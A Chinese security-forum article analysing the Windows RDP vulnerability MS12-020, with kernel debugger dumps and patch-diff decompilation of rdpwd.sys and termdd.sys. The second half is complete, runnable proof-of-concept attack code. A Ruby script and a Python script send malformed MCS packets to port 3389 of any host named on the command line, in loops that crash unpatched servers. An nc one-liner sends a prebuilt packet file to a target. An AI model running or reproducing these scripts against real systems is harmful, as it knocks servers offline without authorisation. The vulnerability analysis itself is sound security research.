目录

原习科论坛首发文章

关于MS12-020的非专业分析

网上讹传MS12-020为任意代码执行漏洞,然而PoC大多数为直接蓝屏。
蓝屏的出现的原因基本可以确定是rdpwd.sys和termdd.sys两个文件因为自动更新后的版本问题,例如去年8月份的MS11-065补丁就更新过rdpwd.sys的文件结构
很多人发现,蓝屏中发生故障的文件并非文章中描述的rdpwd.sys而是termdd.sys,因而有很多所谓的系统“底层大牛”称习科发布的PoC与MS12-020漏洞不符,MS12-020不存在等质疑
MS12-020的漏洞文件是rdpwd.sys,但执行远程恶意指令的其实是termdd.sys文件中的函数,故原由习科放出的PoC虽然有bug,但确实是互联网上第一个公开针对MS12-020漏洞的真实有效的PoC

简介

这是从微软的主页摘抄的描述:


微软的远程桌面协议(RDP)是Server平台中Windows的基本应用之一,它是基于网络连接进行远程显示和远程输入操作。 RDP的初衷是为了支持不同类型的网络拓扑结构和多种LAN协议。

MS12-020于前天被爆存在高危远程代码执行漏洞,可以通过向远程桌面端口发送特定的RDP包获得管理员权限,存在漏洞的文件是rdpwd.sys,出现漏洞的原因,恐怕现在网上已经泛滥的一塌糊涂了,那就是HandleAttachUserReq()函数。
其实早在2011年8月的时候,微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞,漏洞代号是MS11-065

漏洞分析

windows的Terminal Services/Remote Desktop Services(远程桌面服务)使用RDP协议,并且在内核层使用了3389端口。
服务在处理T.125 ConnectMCSPDU数据包的maxChannelIds部分(用0x2c的PoC代码来替代)的数值小于或等于5时,会产生一个内存使用未释放漏洞。

本地计算机(服务器管理员/攻击者)使用NM_Disconnect[rdpwd.sys文件中]对远程的服务器进行会话连接时,因为termdd.sys文件中的IcaGetPreviousSdLink函数返回了一个无效的内存指针,本地计算机可以构造一个恶意的rdp数据包发送到远端目标服务器,这样将可能使远程终端计算机中的IcaBufferAlloc函数[存在于Win2K3的termdd.sys文件中]或者IcaBufferAllocEx函数[存在于Win7/WinR2的termdd.sys文件中]执行额外的任意命令。

termdd.sys

下面的dump是来自尚未安装MS12-020补丁的Win 2K3服务器:

termdd.sys汇编代码已加注释,包括代码执行的位置

f761887c 8bff            mov     edi,edi
f761887e 55              push    ebp
f761887f 8bec            mov     ebp,esp
f7618881 56              push    esi
f7618882 57              push    edi
f7618883 8b7d08          mov     edi,dword ptr [ebp+8]
f7618886 8d47ec          lea     eax,[edi-14h]
f7618889 50              push    eax
f761888a eb09            jmp     termdd!IcaBufferAlloc+0x19 (f7618895)
f761888c 8b4618          mov     eax,dword ptr [esi+18h]        ;注意这里
f761888f 833800          cmp     dword ptr [eax],0                ;或者这里
f7618892 7527            jne     termdd!IcaBufferAlloc+0x3f (f76188bb)        ;必须执行jump
f7618894 56              push    esi
f7618895 e878290000      call    termdd!IcaGetPreviousSdLink (f761b212)        ;新的ESI由termdd!IcaGetPreviousSdLink这个函数返回
f761889a 8bf0            mov     esi,eax
f761889c 85f6            test    esi,esi
f761889e 75ec            jne     termdd!IcaBufferAlloc+0x10 (f761888c)
f76188a0 ff751c          push    dword ptr [ebp+1Ch]
f76188a3 ff7518          push    dword ptr [ebp+18h]
f76188a6 ff7514          push    dword ptr [ebp+14h]
f76188a9 ff7510          push    dword ptr [ebp+10h]
f76188ac ff750c          push    dword ptr [ebp+0Ch]
f76188af 57              push    edi
f76188b0 e8b9fcffff      call    termdd!IcaBufferAllocInternal (f761856e)
f76188b5 5f              pop     edi
f76188b6 5e              pop     esi
f76188b7 5d              pop     ebp
f76188b8 c21800          ret     18h
f76188bb 33c0            xor     eax,eax
f76188bd 53              push    ebx
f76188be 8d7e10          lea     edi,[esi+10h]
f76188c1 40              inc     eax
f76188c2 f00fc107        lock xadd dword ptr [edi],eax
f76188c6 ff751c          push    dword ptr [ebp+1Ch]
f76188c9 8b4618          mov     eax,dword ptr [esi+18h]        ;这个值和前面的一样
f76188cc ff7518          push    dword ptr [ebp+18h]
f76188cf ff7514          push    dword ptr [ebp+14h]
f76188d2 ff7510          push    dword ptr [ebp+10h]
f76188d5 ff750c          push    dword ptr [ebp+0Ch]
f76188d8 ff761c          push    dword ptr [esi+1Ch]
f76188db ff10            call    dword ptr [eax]                ;这里代码执行
f76188dd 8bd8            mov     ebx,eax
f76188df 83c8ff          or      eax,0FFFFFFFFh
f76188e2 f00fc107        lock xadd dword ptr [edi],eax
f76188e6 7506            jne     termdd!IcaBufferAlloc+0x72 (f76188ee)
f76188e8 56              push    esi
f76188e9 e8382f0000      call    termdd!_IcaUnloadSd (f761b826)
f76188ee 8bc3            mov     eax,ebx
f76188f0 5b              pop     ebx
f76188f1 ebc2            jmp     termdd!IcaBufferAlloc+0x39 (f76188b5)

eax=040b0402 ebx=e1492090 ecx=00390080 edx=00000003 esi=040b0402 edi=e1438240
eip=f762888c esp=b832f9d8 ebp=b832f9e0 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202

termdd!IcaBufferAlloc+0x10:
f762888c 8b4618          mov     eax,dword ptr [esi+18h] ds:0023:040b041a=????????
ChildEBP RetAddr
b8b399e0 b89c1c34 termdd!IcaBufferAlloc+0x10
b8b39a00 b89c1c67 RDPWD!StackBufferAlloc+0x26
b8b39a2c b89a902c RDPWD!MCSDetachUserRequest+0x29
b8b39a40 b89a8b44 RDPWD!NMDetachUserReq+0x14
b8b39a4c b89a9185 RDPWD!NM_Disconnect+0x16
b8b39a58 b89adcb4 RDPWD!SM_Disconnect+0x27
b8b39a68 b89a906d RDPWD!SM_OnConnected+0x70
b8b39a88 b89a8db4 RDPWD!NMAbortConnect+0x23
b8b39ac0 b89a9d88 RDPWD!NM_Connect+0x86
b8b39ae0 b89abcfc RDPWD!SM_Connect+0x112
b8b39b08 b89ac786 RDPWD!WDWConnect+0x368
b8b39b3c b89a6959 RDPWD!WDWConfConnect+0x94
b8b39b70 f762c1c7 RDPWD!WD_Ioctl+0x1227
b8b39b8c f762c5a3 termdd!_IcaCallSd+0x35
b8b39bac f762ca10 termdd!_IcaCallStack+0x55
b8b39bf4 f762abcc termdd!IcaDeviceControlStack+0x414
b8b39c24 f762ad20 termdd!IcaDeviceControl+0x4e
b8b39c3c 8081d5c3 termdd!IcaDispatch+0x12a
b8b39c50 808ed4eb nt!IofCallDriver+0x45
b8b39c64 808ee28d nt!NtWriteFile+0x2943
b8b39d00 808e6dbc nt!NtWriteFile+0x36e5
b8b39d34 80883968 nt!NtDeviceIoControlFile+0x2a
b8b39d64 7c82847c nt!KeReleaseInStackQueuedSpinLockFromDpcLevel+0xb14
b8b39d68 badb0d00 ntdll!_NLG_Notify+0x14

Windows 2003服务器上的PoC在ESI+18内存指针下一直没有使用040b02xx到040b02xx的内存区域,利用的可能性取决于对ESI控制的可能性,或者ESI的内容指向(或许是使用heap填充???),其实我在这部分的测试中很快跳过了,只为抛砖引玉。

注意:在Vista后续的Windows版本中,例如Win7和2008/R2中,如果想要利用MS12-020这个漏洞,必须在设置上允许任意远程桌面版本的主机连接。

不过我不敢打包票说这个远程桌面连接版本限制是触发漏洞的必要条件,反正我提供的PoC是需要设置“允许任意版本远程桌面的主机进行连接”为前提条件才可以使用我这个PoC。本文中的PoC为了方便各位的调试,使用的是高字节在前32bit的BER正整型数值。

rdpwd.sys

再来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同:

更新

char __thiscall HandleAttachUserReq(int this, int a2, int a3)
{
        int v3; // esi@1
        int v4; // eax@3
        int v6; // [sp-8h] [bp-18h]@3
        char v7; // [sp+4h] [bp-Ch]@3
        int v8; // [sp+8h] [bp-8h]@3
        int v9; // [sp+Ch] [bp-4h]@2

        v3 = this;
        *(_DWORD *)a3 = 1;
        if ( *(_BYTE *)(this + 16) & 0x20 )
        {
                while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
                        ;
                v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
                v6 = *(_DWORD *)(v9 + 16);
                if ( v4 )
                {
                        CreateAttachUserCon(14, 0, 0, v6);
                        *(_DWORD *)(v9 + 20) = 9;
                }
                else
                {
                        CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
                        *(_DWORD *)(v9 + 20) = 11;
                        *(_BYTE *)(v8 + 4) = 0;
                }
                if ( SendOutBuf(v3, v9) < 0 )
                        SListRemove(v3 + 112, v8, &v8);
        }
        return 1;
}

更新后

char __thiscall HandleAttachUserReq(int this, int a2, int a3)
{
        int v3; // esi@1
        int v4; // eax@3
        int v6; // [sp-8h] [bp-18h]@3
        char v7; // [sp+4h] [bp-Ch]@3
        int v8; // [sp+8h] [bp-8h]@3
        int v9; // [sp+Ch] [bp-4h]@2

        v3 = this;
        *(_DWORD *)a3 = 1;
        if ( *(_BYTE *)(this + 16) & 0x20 )
        {
                while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
                        ;
                v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
                v6 = *(_DWORD *)(v9 + 16);
                if ( v4 )
                {
                        CreateAttachUserCon(14, 0, 0, v6);
                        *(_DWORD *)(v9 + 20) = 9;
                }
                else
                {
                        CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
                        *(_DWORD *)(v9 + 20) = 11;
                        *(_BYTE *)(v8 + 4) = 0;
                }
                if ( SendOutBuf(v3, v9) < 0 )
                {
                        SListRemove(v3 + 112, v8, &v8);
                        //注意下面的if语句,这是更新后的代码 blackbap.org
                        if ( p )
                        {
                                if ( !*((_BYE *)P + 5) )
                                ExFreePoolWithTag(P, 0);
                        }
                }
        }
        return 1;
}

更新后的代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用

0002CB30        @HandleAttachUserReq@16
0002CBB8        push ss:[ebp+var_4]
0002CBBB        push esi
0002CBBC        call _SendOutBuf@8
0002CBC1        test eax, eax
0002CBC3        pop ebx
0002CBC4        jge loc_2CBD6

0002CBC6        lea eax, ss:[ebp+var_8]
0002CBC9        push eax
0002CBCA        push ss:[ebp+var_8]
0002CBCD        add esi, 0x70
0002CBD0        push esi
0002CBD1        call _SListRemove@12

0002CBD6        mov b1 a1, b1 1
0002CBD8        pop esi
0002CBD9        leave
0002CBDA        retn b2 8

这是之后加过检查和释放函数的

0002CB44        @HandleAttachUserReq@16
0002CBCC        push ss:[ebp+var_4]
0002CBCF        push esi
0002CBD0        call _SendOutBuf@8
0002CBD5        test eax, eax

0002CBD7        jge loc_2CBD6

0002CBD9        lea eax, ss:[ebp+var_P]
0002CBDC        push eax
0002CBDD        push ss:[ebp+var_P]
0002CBE0        add esi, 0x70
0002CBE3        push esi
0002CBE4        call _SListRemove@12 //SListRemove(x,x,x)

0002CBE9        mov eax, ss:[ebp+P]
0002CBEC        cmp eax, ebx
0002CBEE        jz loc_2CBFD


0002CBF0        cmp b1 ds:[eax+5],b1 b1
0002CBF3        jnz loc_2CBFD

0002CBF5        push ebx        //Tag
0002CBF6        push ebx        //P
0002CBF7        call ds:[__imp__ExFreePoolWithTag@8]        //__imp__ExFreePoolWithTag@8,ExFreePoolWithTag(x,x)
//CODE XREF: HandleAttachUserReq(x,x,x,x)+19j
//HandleAttachUserReq(x,x,x,x)+94j ...
0002CBFD        pop esi

0002CBFE        mov b1 a1, b1 1
0002CC00        pop ebx
0002CC01        leave
0002CC02        retn b2 8

通过检查,上述函数似乎只解决了内存泄露问题,并没有解决内存不释放的问题??还有一个函数也是疑似检查用户数据的,疑似是边界的检查

0001978A                 call    _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x)
0001978F                 test    eax, eax
00019791                 jz      short loc_1973D
00019793                 push    0
00019795                 push    esi
00019796                 push    [ebp+arg_4]
00019799                 push    [ebp+var_4]
0001979C                 push    [ebp+var_8]
0001979F                 push    [ebp+var_C]
000197A2                 push    [ebp+arg_0]
000197A5                 call    _WDWConnect@28  //WDWConnect(x,x,x,x,x,x,x)

上面这个函数我并没有做什么太大的分析,因为漏洞已经产生了,其实大家更想知道的,并不是这个漏洞如何产生的,而是这个漏洞怎么利用。

PoC

下面就贴出ruby语言的利用脚本

PoC.rb
#!/usr/bin/env ruby
# ms12-020 PoC
# NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题
# Author: Joshua J. Drake(jduck)
# From: BlackBap.Org
# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
 
require 'socket'
 
def send_tpkt(sd, data)
  sd.write(make_tpkt(data))
end
 
def make_tpkt(data)
  [
    3,  # version
    0,  # reserved
    4 + data.length
  ].pack('CCn') + data
end
 
def make_x224(data)
  [ data.length ].pack('C') + data
end
 
def make_rdp(type, flags, data)
  [ type, flags, 4 + data.length ].pack('CCv') + data
end
 
 
host = ARGV.shift
 
sd = TCPSocket.new(host, 3389)
pkts1 = []
 
# craft connection request
rdp = make_rdp(1, 0, [ 0 ].pack('V'))
x224_1 = make_x224([
  0xe0,  # Connection request
  0,     # ??
  0,     # SRC-REF
  0      # Class : Class 0
].pack('CnnC') + rdp)
 
pkts1 << make_tpkt(x224_1)
 
 
# craft connect-initial
x224_2 = make_x224([
  0xf0,  # Data / Class 0
  0x80   # EOT: True / NR: 0
].pack('CC'))
 
# mcsCi
target_params = ""+
  #"\x02\x01\x00"+     # maxChannelIds
  "\x02\x04\x00\x00\x00\x22"+  # maxChannelIds
  "\x02\x04\x00\x00\x00\x0a"+  # maxUserIds
  "\x02\x04\x00\x00\x00\x00"+  # maxTokenIds
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion
min_params = ""+
  "\x02\x04\x00\x00\x00\x01"+  # maxChannelIds       
  "\x02\x04\x00\x00\x00\x01"+  # maxUserIds          
  "\x02\x04\x00\x00\x00\x01"+  # maxTokenIds         
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities       
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput       
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight           
  "\x02\x02\x04\x20"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion
max_params = ""+
  "\x02\x02\xff\xff"+          # maxChannelIds           
  "\x02\x02\xfc\x17"+          # maxUserIds              
  "\x02\x02\xff\xff"+          # maxTokenIds             
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities           
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput           
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight               
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion
 
userdata = ""+
  # gccCCrq
  "\x00\x05\x00\x14"+
  "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
  # clientCoreData
  "\x01\xc0"+"\xd8\x00"+  # header (type, len)
    "\x04\x00"+"\x08\x00"+ # version
    "\x80\x02"+ # desktop width
    "\xe0\x01"+ # desktop height
    "\x01\xca"+ # color depth
    "\x03\xaa"+ # SASSequence
    "\x09\x04\x00\x00" + # keyboard layout
    "\xce\x0e\x00\x00" + # client build number
    # client name
    "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x04\x00\x00\x00"+ # keyboard type
    "\x00\x00\x00\x00"+ # kbd subType
    "\x0c\x00\x00\x00"+ # kbd FuncKey
    # imeFileName
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x01\xca"+ # postBeta2ColorDepth
    "\x01\x00"+ # clientProductId
    "\x00\x00\x00\x00" + # serialNumber
    "\x10\x00"+ # highColorDepth
    "\x07\x00"+ # supportedColorDepths
    "\x01\x00"+ # earlyCapabilityFlags
    # clientDigProductId -poc has: "00000-000-0000000-00000"
    "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00"+ # connectionType
    "\x00"+ # pad1octet
    "\x00\x00\x00\x00"+ # serverSelectedProtocol
    "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
    "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
    "\x00\x00\x00\x00"+ # reserved
  # clientSecurityData
  "\x02\xc0"+"\x0c\x00"+ # header (type, len)
    "\x1b\x00\x00\x00"+ # encryptionMethods
    "\x00\x00\x00\x00"+ # extEncryptionMethods
  # clientNetworkData
  "\x03\xc0"+"\x2c\x00"+ # header (type, len)
    "\x03\x00\x00\x00"+ # channel count!
    # channel 0
    "rdpdr\x00\x00\x00"+ # name
    "\x00\x00\x80\x80"+  # options
    # channel 1
    "cliprdr\x00"+       # name
    "\x00\x00\xa0\xc0"+  # options
    # channel 2
    "rdpsnd\x00\x00"+    # name
    "\x00\x00\x00\xc0"   # options
  # clientClusterData (not present)
  # clientMonitorData (not present)
 
mcs_data = ""+
    "\x04\x01\x01"+ # callingDomainSelector
    "\x04\x01\x01"+ # calledDomainSelector
    "\x01\x01\xff"+ # upwardFlag
  #"\x30" + [ target_params.length ].pack('C') + target_params +
  #"\x30" + [ min_params.length ].pack('C') + min_params +
  #"\x30" + [ max_params.length ].pack('C') + max_params +
  "\x30" + [ 0x19 ].pack('C') + target_params +
  "\x30" + [ 0x19 ].pack('C') + min_params +
  "\x30" + [ 0x1c ].pack('C') + max_params +
  # userData
  "\x04\x82" + [ userdata.length ].pack('n') + userdata
 
#mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n')  # connect-initial (0x65 / 101), length
mcs = "\x7f\x65\x82" + [ 0x194 ].pack('n')  # connect-initial (0x65 / 101), length
mcs << mcs_data
 
pkts1 << make_tpkt(x224_2 + mcs)
 
 
# send a special one?
pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")
 
# send more pkts! - based on poc
10.times {
  pkts1 << make_tpkt(x224_2 + "\x28")
}
 
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")
 
pkts1 << make_tpkt(x224_2 + "\x21\x80")
 
bigpkt = pkts1.join('')
 
loop {
  sd.write(bigpkt)
 
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
 
  # read connect-initial response
  buf = sd.recv(1500)
  # XXX: TODO: check response =)
  #puts buf
}
sd.close
# BlackBap.Org - Silic.Org - Silic.wiki

这个脚本是基于“Chinese Shit”的脚本所写,并且修正了“Chinese Shit”上面的不完全符合协议的数据包,那么我们再来看一下“Chinese Shit”的PoC又是什么样子的,Python语言(习科time.sleep修正版):

PoC.py
#!/usr/bin/env python
# ms12-020 "chinese shit" PoC v2 (wireshark版)
# 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用
# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
# BlackBap.Org
# Win7_x64_sp1/Win_xp_sp3 bug修正 添加time.sleep
# Silic Group Hacker Army
 
import socket
import sys
 
buf=""
buf+="\x03\x00\x00\x13\x0e\xe0\x00\x00" 
buf+="\x00\x00\x00\x01\x00\x08\x00\x00" 
buf+="\x00\x00\x00\x03\x00\x01\xd6\x02" 
buf+="\xf0\x80\x7f\x65\x82\x01\x94\x04" 
buf+="\x01\x01\x04\x01\x01\x01\x01\xff" 
buf+="\x30\x19\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x02\x02\x04" 
buf+="\x00\x00\x00\x00\x02\x04\x00\x00" 
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" 
buf+="\xff\xff\x02\x04\x00\x00\x00\x02" 
buf+="\x30\x19\x02\x04\x00\x00\x00\x01" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x04" 
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" 
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" 
buf+="\x04\x20\x02\x04\x00\x00\x00\x02" 
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02" 
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04" 
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" 
buf+="\x00\x00\x02\x04\x00\x00\x00\x01" 
buf+="\x02\x02\xff\xff\x02\x04\x00\x00" 
buf+="\x00\x02\x04\x82\x01\x33\x00\x05" 
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00" 
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44" 
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8" 
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0" 
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00" 
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f" 
buf+="\x00\x53\x00\x54\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x04\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x01\xca\x01\x00\x00\x00\x00" 
buf+="\x00\x10\x00\x07\x00\x01\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c" 
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c" 
buf+="\x00\x03\x00\x00\x00\x72\x64\x70" 
buf+="\x64\x72\x00\x00\x00\x00\x00\x80" 
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72" 
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70" 
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00" 
buf+="\xc0\x03\x00\x00\x0c\x02\xf0\x80" 
buf+="\x04\x01\x00\x01\x00\x03\x00\x00" 
buf+="\x08\x02\xf0\x80\x28\x03\x00\x00" 
buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03" 
buf+="\xef\x03\x00\x00\x0c\x02\xf0\x80" 
buf+="\x38\x00\x06\x03\xeb\x03\x00\x00" 
buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03" 
buf+="\xec\x03\x00\x00\x0c\x02\xf0\x80" 
buf+="\x38\x00\x06\x03\xed\x03\x00\x00" 
buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03" 
buf+="\xee\x03\x00\x00\x0b\x06\xd0\x00" 
buf+="\x00\x12\x34\x00"
 
HOST = sys.argv[1]
PORT = 3389
for i in range(1000):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((HOST,PORT))
	print "sending: %d bytes" % len(buf)
	s.send(buf)
	rec = s.recv(100)
	print "received: %d bytes" % len(rec)
	s.close()
# BlackBap.Org - Silic.Org - Silic..wiki

还有个已经生成的数据包文件,使用nc可直接发送12020poc.rar

nc 目标服务器地址 3389 < 12020poc.dat
如果目标服务器无响应,则可尝试多发送几次。